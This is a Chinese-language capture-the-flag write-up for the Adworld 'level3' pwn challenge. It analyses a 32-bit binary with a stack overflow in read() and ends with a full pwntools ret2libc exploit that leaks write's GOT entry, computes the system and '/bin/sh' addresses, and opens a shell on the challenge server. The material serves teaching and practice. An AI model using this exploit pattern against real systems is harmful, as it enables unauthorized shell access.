攻防世界 Pwn level3
1.checksec看一下保护
[*] '/home/ububtu/ctf/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位,开启NX保护
2.IDA反汇编分析程序
main函数
vulnerable_function函数
程序代码很少,在read()存在栈溢出
3.漏洞利用
无system函数,无binsh字符串,有read和write函数,利用ret2libc。
主要思路有以下几点:
libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。
在vulnerable_function()中,先调用了write()函数,然后调用read()函数。第一次攻击利用write()函数返回到vulnerable_function()后,再进行read()函数调用,这样就进行二次攻击。
第一次攻击我们利用栈溢出将write()函数在got表中的真实地址泄露出来,然后减去libc中的offset,就可以得到libc的base address。
再利用相对offset计算出system和"/bin/sh"的真实地址
第二次攻击重新进入vulnerable_function()函数,再次通过栈溢出,利用system函数进行getshell。
4.exp附上
#思路:程序流程非常简单,可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。
#导入pwn模块
from pwn import *
#获取远程进程对象
p=remote('111.198.29.45',41496)
#获取本地进程对象
#p = process("./level3/level3")
#获取文件对象
elf=ELF('./level3/level3')
#获取lib库对象
libc = ELF('./level3/libc_32.so.6')
#获取函数
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
#接收数据
p.recvuntil(":\n")
#char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址) write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
#获取write在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)
#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
#计算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)
#计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)
#char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接收数据
p.recvuntil(":\n")
#发送payload
p.sendline(payload2)
#切换交互模式
p.interactive()